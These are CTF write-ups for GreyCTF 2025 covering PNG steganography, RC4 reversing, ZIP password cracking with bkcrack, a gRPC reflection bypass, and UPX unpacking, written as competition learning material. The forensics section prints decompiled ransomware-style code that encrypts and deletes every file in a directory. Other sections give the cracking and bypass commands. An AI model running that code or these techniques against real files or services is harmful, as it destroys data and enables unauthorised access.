GreyCTF 2025
Formula739137
MISC | Finals

So we are given with this nice image of a Mercedes W16.
To begin with, let's first understand that a PNG file is made up of chunks.
Here are some common chunk types that are good to know:
IHDR - Image header
IDAT - Image data
IEND - Image end marker
Every chunk follows a unified structure:
[4 bytes Length][4 bytes Type][N bytes Data][4 bytes CRC]
Running PNG-Check on the file reveals suspicious IDAT chunks of 9 bytes at the end of the image, as shown below.
└─$ pngcheck -v challenge.png
File: challenge.png (1467168 bytes)
chunk IHDR at offset 0x0000c, length 13
1920 x 1080 image, 24-bit RGB, non-interlaced
chunk sRGB at offset 0x00025, length 1
rendering intent = perceptual
chunk gAMA at offset 0x00032, length 4: 0.45455
chunk pHYs at offset 0x00042, length 9: 3779x3779 pixels/meter (96 dpi)
...
chunk IDAT at offset 0x160f2d, length 9
chunk IDAT at offset 0x160f42, length 9
chunk IDAT at offset 0x160f57, length 9
chunk IDAT at offset 0x160f6c, length 9
chunk IDAT at offset 0x160f81, length 9
chunk IDAT at offset 0x160f96, length 9
chunk IDAT at offset 0x160fab, length 9
chunk IDAT at offset 0x160fc0, length 9
chunk IDAT at offset 0x160fd5, length 9
chunk IDAT at offset 0x160fea, length 9
chunk IDAT at offset 0x160fff, length 9
...
Let's extract these chunks and take a quick look.
First Sus Chunk Offset = 0x160f2d
= 1445677
1445677 - 4 = 1445673
(to include the length since the offset is where the Type string is detected)
└─$ dd if=challenge.png of=sus_chunk.bin bs=1 skip=1445673
21495+0 records in
21495+0 records out
21495 bytes (21 kB, 21 KiB) copied, 0.146775 s, 146 kB/s
┌──(x44ylan㉿x44ylan)-[~]
└─$ xxd sus_chunk.bin
00000000: 0000 0009 4944 4154 785e ecdd 0780 2465 ....IDATx^....$e
00000010: 4db0 9dd4 2000 0000 0949 4441 5478 5eec M... ....IDATx^.
00000020: dd07 8024 654d b09d d420 0000 0009 4944 ...$eM... ....ID
00000030: 4154 785e ecdd 0780 2465 4db0 9dd4 2000 ATx^....$eM... .
For easier viewing, let's just list it in 21 bytes:
Data length = 9
Then
Total chunk size = 4 + 4 + 9 + 4 = 21 bytes
└─$ xxd -c 21 sus_chunk.bin
00000000: 0000 0009 4944 4154 785e ecdd 0780 2465 4db0 9dd4 20 ....IDATx^....$eM...
00000015: 0000 0009 4944 4154 785e ecdd 0780 2465 4db0 9dd4 20 ....IDATx^....$eM...
...
0000508e: 0000 0009 4944 4154 785e ecdd 0780 2465 68fb 9900 67 ....IDATx^....$eh...g
000050a3: 0000 0009 4944 4154 785e ecdd 0780 2465 eeff 4226 72 ....IDATx^....$e..B&r
000050b8: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65 ....IDATx^....$e....e
000050cd: 0000 0009 4944 4154 785e ecdd 0780 2465 621b 4ce9 79 ....IDATx^....$eb.L.y
000050e2: 0000 0009 4944 4154 785e ecdd 0780 2465 9846 24f2 7b ....IDATx^....$e.F$.{
000050f7: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d ....IDATx^....$e....m
0000510c: 0000 0009 4944 4154 785e ecdd 0780 2465 8ab5 9d83 33 ....IDATx^....$e....3
00005121: 0000 0009 4944 4154 785e ecdd 0780 2465 eeff 4226 72 ....IDATx^....$e..B&r
00005136: 0000 0009 4944 4154 785e ecdd 0780 2465 d3a7 2a6a 63 ....IDATx^....$e..*jc
0000514b: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65 ....IDATx^....$e....e
00005160: 0000 0009 4944 4154 785e ecdd 0780 2465 dd40 9247 64 ....IDATx^....$e.@.Gd
00005175: 0000 0009 4944 4154 785e ecdd 0780 2465 8ab5 9d83 33 ....IDATx^....$e....3
0000518a: 0000 0009 4944 4154 785e ecdd 0780 2465 a119 217a 73 ....IDATx^....$e..!zs
0000519f: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f ....IDATx^....$e../._
000051b4: 0000 0009 4944 4154 785e ecdd 0780 2465 70e8 f598 31 ....IDATx^....$ep...1
000051c9: 0000 0009 4944 4154 785e ecdd 0780 2465 a119 217a 73 ....IDATx^....$e..!zs
000051de: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f ....IDATx^....$e../._
000051f3: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d ....IDATx^....$e....m
00005208: 0000 0009 4944 4154 785e ecdd 0780 2465 621b 4ce9 79 ....IDATx^....$eb.L.y
0000521d: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f ....IDATx^....$e../._
00005232: 0000 0009 4944 4154 785e ecdd 0780 2465 271d fa5c 66 ....IDATx^....$e'..\f
00005247: 0000 0009 4944 4154 785e ecdd 0780 2465 8452 25ae 34 ....IDATx^....$e.R%.4
0000525c: 0000 0009 4944 4154 785e ecdd 0780 2465 55a3 f14c 76 ....IDATx^....$eU..Lv
00005271: 0000 0009 4944 4154 785e ecdd 0780 2465 a3f7 2f1b 5f ....IDATx^....$e../._
00005286: 0000 0009 4944 4154 785e ecdd 0780 2465 affe 9957 74 ....IDATx^....$e...Wt
0000529b: 0000 0009 4944 4154 785e ecdd 0780 2465 92a6 f11b 65 ....IDATx^....$e....e
000052b0: 0000 0009 4944 4154 785e ecdd 0780 2465 29fa 4271 61 ....IDATx^....$e).Bqa
000052c5: 0000 0009 4944 4154 785e ecdd 0780 2465 abf9 f493 6d ....IDATx^....$e....m
000052da: 0000 0009 4944 4154 785e ecdd 0780 2465 0256 fe88 21 ....IDATx^....$e.V..!
000052ef: 0000 0009 4944 4154 785e ecdd 0780 2465 d947 ff83 7d ....IDATx^....$e.G..}
...
000053eb: 0000 0000 4945 4e44 ae42 6082 ....IEND.B`.
It is observed that the flag is found by concatenating the last byte of each chunk from offset 0x0000508e
onwards.
After solving the challenge, I was told that there was an easter egg in the challenge, and here you go:
└─$ xxd -p -c1 sus_chunk.bin | tail -n +21 | awk 'NR % 21 == 1' | xxd -r -p
d88b
_______________|8888|_______________
|_____________ ,~~~~~~. _____________|
_________ |_____________: mmmmmm :_____________| _________
/ _______ \ ,----|~~~~~~~~~~~,'\ _...._ /`.~~~~~~~~~~~|----, / _______ \
| / \ | | | |____|,d~ ~b.|____| | | | / \ |
|| |-------------------\-d.-~~~~~~-.b-/-------------------| ||
|| | |8888 ....... _,===~/......... \~===._ 8888| | ||
|| |=========_,===~~======._.=~~=._.======~~===._=========| ||
|| | |888===~~ ...... //,, .`~~~~'. .,\\ ~~===888| | ||
|| |===================,P'.::::::::.. `?,===================| ||
|| |_________________,P'_::----------.._`?,_________________| ||
`| |-------------------~~~~~~~~~~~~~~~~~~-------------------| |'
\_______/ grey{m3rced3s_1s_my_f4v_team!} \_______/
└─$ grey{m3rced3s_1s_my_f4v_team!}
Reversing 101
EZPZ | Qualifier
The given binary was decompiled and analyzed, revealing three primary functions:
Function a : A length function that calculates the size of the input.
Function b : A key generation function that produces the internal RC4 key.
Function c : The RC4 encryption/decryption function.
The overall flow is as follows: the input is first processed by Function a to check that its length is exactly 5 characters, then encrypted by Function c using the key generated from Function b. The result is then compared against the encrypted byte array:
[0xd1, 0x58, 0x15, 0x8a, 0xee, 0xb5, 0xbb, 0x52, 0x0c, 0x6b, 0xa4, 0xab, 0x6d, 0x7d, 0xb7]
To obtain the return value of Function b using GDB, follow these steps:
Launch GDB with the binary:
gdb ./chal
Set a breakpoint at the start of Function B:
b *0x00401217
runs until Function B returns:
finish
print the returned key value:
(gdb) print/x $rax
$2 = 0xc1de1494171d9e2
Note:
On x86 (32-bit), the return value is stored in the
eax
register.On x86-64 (64-bit), the return value is stored in
rax
.
Then decrypt the encrypted byte array by running the code below.
#!/usr/bin/env python3
"""
Decrypt the password with RC4
"""
def rc4_decrypt(data, key_64bit):
key_bytes = []
for i in range(8):
key_bytes.append((key_64bit >> (i * 8)) & 0xFF)
S = list(range(256))
j = 0
for i in range(256):
key_byte = key_bytes[i % 8]
j = (j + S[i] + key_byte) & 0xFF
S[i], S[j] = S[j], S[i]
i = 0
j = 0
result = bytearray(len(data))
for byte_index in range(len(data)):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
keystream_byte = S[(S[i] + S[j]) & 0xFF]
result[byte_index] = data[byte_index] ^ keystream_byte
return result
def main():
# Extract the encrypted data from the binary
enc = bytearray([0xd1, 0x58, 0x15, 0x8a, 0xee, 0xb5, 0xbb, 0x52,
0x0c, 0x6b, 0xa4, 0xab, 0x6d, 0x7d, 0xb7])
correct_key = 0xc1de1494171d9e2f
decrypted = rc4_decrypt(enc, correct_key)
print(f"Decrypted: {decrypted}")
if __name__ == "__main__":
main()
Notsus.exe
Forensics | Qualifier
Insert Guessy forensics challenge description here
We are given a password-protected ZIP file that contains two files:
not_sus.exe
flag.txt.yorm
Initial attempts to brute-force the ZIP using pkcrack
didn’t work. So, I shifted focus to another common ZIP attack: the known-plaintext attack.
A great reference for this type of attack is this write-up from IEEE VIC-3 CTF 2024.
The idea behind a known-plaintext attack on ZIP files is that you know some part of the original content, and you can use that to recover the decryption key.
In this case, the .yorm
file type was unfamiliar, so I focused on the not_sus.exe
instead.
Most Windows executables start with a typical DOS MZ header containing the following:
0x00
0x4D 0x5A
"MZ" signature — Magic number for DOS/Windows executables.
0x02
0x90 0x00
Bytes on last page — 0x0090
= 144 bytes
0x04
0x03 0x00
Pages in file — File is 3 * 512 = 1536 bytes total.
0x06
0x00 0x00
Relocation entries — Number of relocation entries (0 here).
0x08
0x04 0x00
Header size — In 16-byte paragraphs. 0x0004
= 4 * 16 = 64 bytes
0x0A
0x00 0x00
Minimum extra paragraphs needed — Typically zero.
0x0C
0xFF 0xFF
Maximum extra paragraphs needed — 0xFFFF
indicates “as much memory as available”.
0x0E
0x00 0x00
Initial SS (stack segment) — Relative to the load segment (0 here).
Using this known header as plaintext, I ran a known-plaintext ZIP attack using bkcrack
└─$ unzip -Z files.zip
Archive: files.zip
Zip file size: 6716892 bytes, number of entries: 2
-rw-a-- 6.3 fat 49 Bx stor 25-May-05 17:04 flag.txt.yorm
-rwxa-- 6.3 fat 6716527 Bx stor 25-May-05 16:43 notsus.exe
2 files, 6716576 bytes uncompressed, 6716576 bytes compressed: 0.0%
└─$ echo -n -e '\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00' > known_notsus.txt
└─$ bkcrack -C files.zip -c notsus.exe -p known_notsus.txt
bkcrack 1.7.1 - 2024-12-21
[23:28:34] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[23:28:34] Attack on 721104 Z values at index 6
Keys: d1608c35 d11d350a 4bc3da9c
91.2 % (657301 / 721104)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 657301
[23:49:53] Keys
d1608c35 d11d350a 4bc3da9c
└─$ bkcrack -C files.zip -k d1608c35 d11d350a 4bc3da9c -D decrypted.zip
bkcrack 1.7.1 - 2024-12-21
[23:57:14] Writing decrypted archive decrypted.zip
100.0 % (2 / 2)
After decrypting the ZIP, we now have:
not_sus.exe
flag.txt.yorm
— contents look like gibberish, likely encrypted or encoded.
Running not_sus.exe
through Detect It Easy (DIE) reveals that it’s a PyInstaller-packed Python executable.

We can unpack the executable with PyInstxtractor and decompiling the obtained .pyc
with PyLingual
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: notsus.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import sys
from itertools import cycle
def a(b, c):
if len(b) < len(c):
b, c = (c, b)
return bytes((a ^ b for a, b in zip(b, cycle(c))))
def b(a, c):
d = list(range(256))
e = 0
for f in range(256):
e = (e + d[f] + a[f % len(a)]) % 256
d[f], d[e] = (d[e], d[f])
f = e = 0
g = bytearray()
for h in c:
f = (f + 1) % 256
e = (e + d[f]) % 256
d[f], d[e] = (d[e], d[f])
k = d[(d[f] + d[e]) % 256]
g.append(h ^ k)
return bytes(g)
def c(a):
b = []
for c, d, e in os.walk(a):
for f in e:
b.append(os.path.join(c, f))
return b
d = b'HACKED!'
e = os.path.basename(sys.executable)
for f in c('.'):
if e in f:
continue
with open(f, 'rb') as g:
asdf = g.read()
with open(f'{f}.yorm', 'wb') as g:
g.write(b(d, asdf))
os.remove(f)
Looks like another RC4.
Recover the flag :
import os
import sys
from itertools import cycle
def a(b, c):
if len(b) < len(c):
b, c = (c, b)
return bytes((a ^ b for a, b in zip(b, cycle(c))))
def b(a, c):
d = list(range(256))
e = 0
for f in range(256):
e = (e + d[f] + a[f % len(a)]) % 256
d[f], d[e] = (d[e], d[f])
f = e = 0
g = bytearray()
for h in c:
f = (f + 1) % 256
e = (e + d[f]) % 256
d[f], d[e] = (d[e], d[f])
k = d[(d[f] + d[e]) % 256]
g.append(h ^ k)
return bytes(g)
d = b'HACKED!'
with open('flag.txt.yorm', 'rb') as g:
encrypted_data = g.read()
decrypted_data = b(d, encrypted_data)
print(decrypted_data.decode('utf-8', errors='ignore'))
└─$ grey{this_program_cannot_be_run_in_dos_mode_hehe}
SGRPC
Web | Qualifier
Can't get hacked if they can't reach it.
package main
import (
"context"
"flag"
"github.com/google/go-cmp/cmp"
"google.golang.org/grpc"
"google.golang.org/grpc/reflection/grpc_reflection_v1"
"google.golang.org/protobuf/types/known/emptypb"
"log"
"net"
"os"
pb "ctf.nusgreyhats.org/sgrpc/flag"
)
// server is used to implement helloworld.GreeterServer.
type server struct {
pb.UnimplementedFlagServer
}
func (s *server) Hello(_ context.Context, _ *emptypb.Empty) (*pb.HelloReply, error) {
reply := "Hello from QuanYang"
return &pb.HelloReply{Message: &reply}, nil
}
func (s *server) GetFlag(_ context.Context, in *pb.FlagRequest) (*pb.FlagReply, error) {
flagValue := os.Getenv("FLAG")
unauthorized := "unauthorized"
if in.GetFirstCondition() != <redacted> || !cmp.Equal(in.GetSecondCondition(), <redacted>) || in.GetLastCondition() != <redacted> {
return &pb.FlagReply{Flag: &unauthorized}, nil
}
return &pb.FlagReply{Flag: &flagValue}, nil
}
func main() {
flag.Parse()
lis, err := net.Listen("tcp", ":3335")
if err != nil {
log.Fatalf("failed to listen: %v", err)
}
s := grpc.NewServer()
pb.RegisterFlagServer(s, &server{})
grpc_reflection_v1.RegisterServerReflectionServer(s, &restrictedReflectionServer{})
log.Printf("server listening at %v", lis.Addr())
if err := s.Serve(lis); err != nil {
log.Fatalf("failed to serve: %v", err)
}
}
This challenge revolves around a gRPC server written in Go, exposing two main RPC methods via the Flag
service:
Hello
GetFlag
The server also includes a custom implementation of gRPC Server Reflection with some restrictions enforced in customreflect.go
.
package main
import (
"google.golang.org/grpc/codes"
"google.golang.org/grpc/reflection/grpc_reflection_v1"
"google.golang.org/protobuf/proto"
"google.golang.org/protobuf/reflect/protodesc"
"google.golang.org/protobuf/reflect/protoreflect"
"google.golang.org/protobuf/reflect/protoregistry"
"strings"
)
type restrictedReflectionServer struct {
grpc_reflection_v1.UnimplementedServerReflectionServer
}
func (s *restrictedReflectionServer) FileDescWithDependencies(fd protoreflect.FileDescriptor, sentFileDescriptors map[string]bool) ([][]byte, error) {
if fd.IsPlaceholder() {
// If the given root file is a placeholder, treat it
// as missing instead of serializing it.
return nil, protoregistry.NotFound
}
var r [][]byte
queue := []protoreflect.FileDescriptor{fd}
for len(queue) > 0 {
currentfd := queue[0]
queue = queue[1:]
if currentfd.IsPlaceholder() {
// Skip any missing files in the dependency graph.
continue
}
if sent := sentFileDescriptors[currentfd.Path()]; len(r) == 0 || !sent {
sentFileDescriptors[currentfd.Path()] = true
fdProto := protodesc.ToFileDescriptorProto(currentfd)
currentfdEncoded, err := proto.Marshal(fdProto)
if err != nil {
return nil, err
}
r = append(r, currentfdEncoded)
}
for i := 0; i < currentfd.Imports().Len(); i++ {
queue = append(queue, currentfd.Imports().Get(i))
}
}
return r, nil
}
func (s *restrictedReflectionServer) FileDescEncodingContainingSymbol(name string, sentFileDescriptors map[string]bool) ([][]byte, error) {
d, err := protoregistry.GlobalFiles.FindDescriptorByName(protoreflect.FullName(name))
if err != nil {
return nil, err
}
return s.FileDescWithDependencies(d.ParentFile(), sentFileDescriptors)
}
func (s *restrictedReflectionServer) ServerReflectionInfo(stream grpc_reflection_v1.ServerReflection_ServerReflectionInfoServer) error {
sentFileDescriptors := make(map[string]bool)
for {
req, err := stream.Recv()
if err != nil {
return err
}
switch r := req.MessageRequest.(type) {
case *grpc_reflection_v1.ServerReflectionRequest_FileContainingSymbol:
// Allow describing request message types only
if !isDisallowedMessage(r.FileContainingSymbol) {
// Respond with file descriptor
b, err := s.FileDescEncodingContainingSymbol(r.FileContainingSymbol, sentFileDescriptors)
if err != nil {
stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
ValidHost: req.Host,
OriginalRequest: req,
MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
ErrorResponse: &grpc_reflection_v1.ErrorResponse{
ErrorCode: int32(codes.NotFound),
ErrorMessage: "Symbol not found",
},
},
})
continue
}
stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
ValidHost: req.Host,
OriginalRequest: req,
MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_FileDescriptorResponse{
FileDescriptorResponse: &grpc_reflection_v1.FileDescriptorResponse{
FileDescriptorProto: b,
},
},
})
} else {
stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
ValidHost: req.Host,
OriginalRequest: req,
MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
ErrorResponse: &grpc_reflection_v1.ErrorResponse{
ErrorCode: int32(codes.PermissionDenied),
ErrorMessage: "This reflection method is disabled",
},
},
})
}
default:
// Block all other reflection requests
stream.Send(&grpc_reflection_v1.ServerReflectionResponse{
ValidHost: req.Host,
OriginalRequest: req,
MessageResponse: &grpc_reflection_v1.ServerReflectionResponse_ErrorResponse{
ErrorResponse: &grpc_reflection_v1.ErrorResponse{
ErrorCode: int32(codes.PermissionDenied),
ErrorMessage: "This reflection method is disabled",
},
},
})
}
}
}
func isDisallowedMessage(symbol string) bool {
parts := strings.Split(symbol, ".")
if strings.Contains(strings.ToLower(parts[len(parts)-1]), "flag") {
return true
}
return false
}
Based on the provided source code, the GetFlag
RPC requires three specific conditions to be met in the request in order to get the flag.
To identify the required fields, we can enumerate using available gRPC Server Reflection. After some trial-and-error :
└─$ grpcurl -plaintext -d '{"file_containing_symbol":"flag.HelloReply"}'
challs.nusgreyhats.org:33202
grpc.reflection.v1.ServerReflection.ServerReflectionInfo
{
"originalRequest": {
"fileContainingSymbol": "flag.HelloReply"
},
"fileDescriptorResponse": {
"fileDescriptorProto": [
"CgpmbGFnLnByb3RvEgRmbGFnGhtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8isQEKC0ZsYWdSZXF1ZXN0EjoKD2ZpcnN0X2NvbmRpdGlvbhgCIAIoCToRVHJhTGFMZVJvIFRyYUxhTGFSDmZpcnN0Q29uZGl0aW9uEjMKEHNlY29uZF9jb25kaXRpb24YAyACKAw6CGNhZmViYWJlUg9zZWNvbmRDb25kaXRpb24SMQoObGFzdF9jb25kaXRpb24YASACKAY6CjMxNDE1OTI2NTRSDWxhc3RDb25kaXRpb24iHwoJRmxhZ1JlcGx5EhIKBGZsYWcYASACKAlSBGZsYWciJgoKSGVsbG9SZXBseRIYCgdtZXNzYWdlGAEgAigJUgdtZXNzYWdlMmwKBEZsYWcSLwoHR2V0RmxhZxIRLmZsYWcuRmxhZ1JlcXVlc3QaDy5mbGFnLkZsYWdSZXBseSIAEjMKBUhlbGxvEhYuZ29vZ2xlLnByb3RvYnVmLkVtcHR5GhAuZmxhZy5IZWxsb1JlcGx5IgBCIFoeY3RmLm51c2dyZXloYXRzLm9yZy9zZ3JwYy9mbGFn",
"Chtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8SD2dvb2dsZS5wcm90b2J1ZiIHCgVFbXB0eUJ9ChNjb20uZ29vZ2xlLnByb3RvYnVmQgpFbXB0eVByb3RvUAFaLmdvb2dsZS5nb2xhbmcub3JnL3Byb3RvYnVmL3R5cGVzL2tub3duL2VtcHR5cGL4AQGiAgNHUEKqAh5Hb29nbGUuUHJvdG9idWYuV2VsbEtub3duVHlwZXNiBnByb3RvMw=="
]
}
}
Base64 decoding the first file descriptor reveals it's a protoset for gRPC, but it’s not valid.
So let’s try decoding it manually to see what’s actually inside.
echo "CgpmbGFnLnByb3RvEgRmbGFnGhtnb29nbGUvcHJvdG9idWYvZW1wdHkucHJvdG8isQEKC0ZsYWdSZXF1ZXN0EjoKD2ZpcnN0X2NvbmRpdGlvbhgCIAIoCToRVHJhTGFMZVJvIFRyYUxhTGFSDmZpcnN0Q29uZGl0aW9uEjMKEHNlY29uZF9jb25kaXRpb24YAyACKAw6CGNhZmViYWJlUg9zZWNvbmRDb25kaXRpb24SMQoObGFzdF9jb25kaXRpb24YASACKAY6CjMxNDE1OTI2NTRSDWxhc3RDb25kaXRpb24iHwoJRmxhZ1JlcGx5EhIKBGZsYWcYASACKAlSBGZsYWciJgoKSGVsbG9SZXBseRIYCgdtZXNzYWdlGAEgAigJUgdtZXNzYWdlMmwKBEZsYWcSLwoHR2V0RmxhZxIRLmZsYWcuRmxhZ1JlcXVlc3QaDy5mbGFnLkZsYWdSZXBseSIAEjMKBUhlbGxvEhYuZ29vZ2xlLnByb3RvYnVmLkVtcHR5GhAuZmxhZy5IZWxsb1JlcGx5IgBCIFoeY3RmLm51c2dyZXloYXRzLm9yZy9zZ3JwYy9mbGFn"
| base64 -d > flag.protoset
└─$ protoc --decode_raw < flag.protoset
1: "flag.proto"
2: "flag"
3: "google/protobuf/empty.proto"
4 {
1: "FlagRequest"
2 {
1: "first_condition"
3: 2
4: 2
5: 9
7: "TraLaLeRo TraLaLa"
10: "firstCondition"
}
2 {
1: "second_condition"
3: 3
4: 2
5: 12
7: "cafebabe"
10: "secondCondition"
}
2 {
1: "last_condition"
3: 1
4: 2
5: 6
7: "3141592654"
10: "lastCondition"
}
}
4 {
1: "FlagReply"
2 {
1: "flag"
3: 1
4: 2
5: 9
10: "flag"
}
}
4 {
1: "HelloReply"
2 {
1: "message"
3: 1
4: 2
5: 9
10: "message"
}
}
6 {
1: "Flag"
2 {
1: "GetFlag"
2: ".flag.FlagRequest"
3: ".flag.FlagReply"
4: ""
}
2 {
1: "Hello"
2: ".google.protobuf.Empty"
3: ".flag.HelloReply"
4: ""
}
}
8 {
11: "ctf.nusgreyhats.org/sgrpc/flag"
}
With this, we can reconstruct the .proto
file ourselves, which we can then use to generate a valid protoset.
syntax = "proto3";
package flag;
import "google/protobuf/empty.proto";
message FlagRequest {
string first_condition = 2;
bytes second_condition = 3;
fixed64 last_condition = 1;
}
message FlagReply {
string flag = 1;
}
message HelloReply {
string message = 1;
}
service Flag {
rpc GetFlag(FlagRequest) returns (FlagReply);
rpc Hello(google.protobuf.Empty) returns (HelloReply);
}
└─$ protoc --proto_path=.
--proto_path=$(dirname $(which protoc))/../include
--descriptor_set_out=flag.protoset --include_imports flag.proto
└─$ grpcurl -plaintext
-d '{ "lastCondition": 3141592654,
"firstCondition": "TraLaLeRo TraLaLa",
"secondCondition": "Y2FmZWJhYmU=" }'
-protoset flag.protoset
challs.nusgreyhats.org:33202 flag.Flag/GetFlag
└─$ grey{r3fl3ct_th3_sch3m4}
Meowware
Rev | Qualifier | DidNotSolve
We were given two files: client
(an executable) and client.pcap
(containing encrypted traffic).
When we run the binary, it produces no output:
└─$ ./client
(no output)
└─$ file client
client: ELF 64-bit LSB executable,
x86-64,
version 1 (SYSV),
BuildID[sha1]=53a87fd5741a38f22047405a7e29d947de8cdd45,
for GNU/Linux 3.2.0,
statically linked,
no section header
From this output, we can see that:
The binary uses x86-64 architecture (AMD64, Intel 64-bit)
It's statically linked
It's stripped
By using strace
to trace the system calls, we were able to identify that:
The binary is packed with a custom upx (notice the "upX" and "upx"
memfd
names)It unpacks itself during runtime
It creates in-memory files (
memfd_create
), writes unpacked content to them, and executes them viammap
Since we know the binary dumps the unpacked executable into in-memory files, we can try to dump the memory during runtime to obtain the unpacked binary.
pwndbg> start
pwndbg> catch syscall ptrace
Catchpoint 1 (syscall 'ptrace' [101])
pwndbg> run
pwndbg> info proc mappings
process 80
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
0x0000000000400000 0x0000000000401000 0x1000 0x0 r--p
0x0000000000401000 0x00000000004c8000 0xc7000 0x0 r-xs /memfd:upx (deleted)
0x00000000004c8000 0x00000000004f9000 0x31000 0x0 r--p
0x00000000004f9000 0x0000000000504000 0xb000 0x0 rw-p
0x0000000000568000 0x000000000058a000 0x22000 0x0 rw-p [heap]
...
From the strace output, we saw:
munmap(0x400000, 1062920)
Start address: 0x400000
Size: 1062920 bytes = 0x103000 in hex
pwndbg> dump memory dump 0x400000 0x503000
└─$ file dump
dump: ELF 64-bit LSB executable,
x86-64,
version 1 (SYSV),
statically linked,
stripped
After getting the unpacked binary, I skill issued and did not manage to solve the challenge 😥
Last updated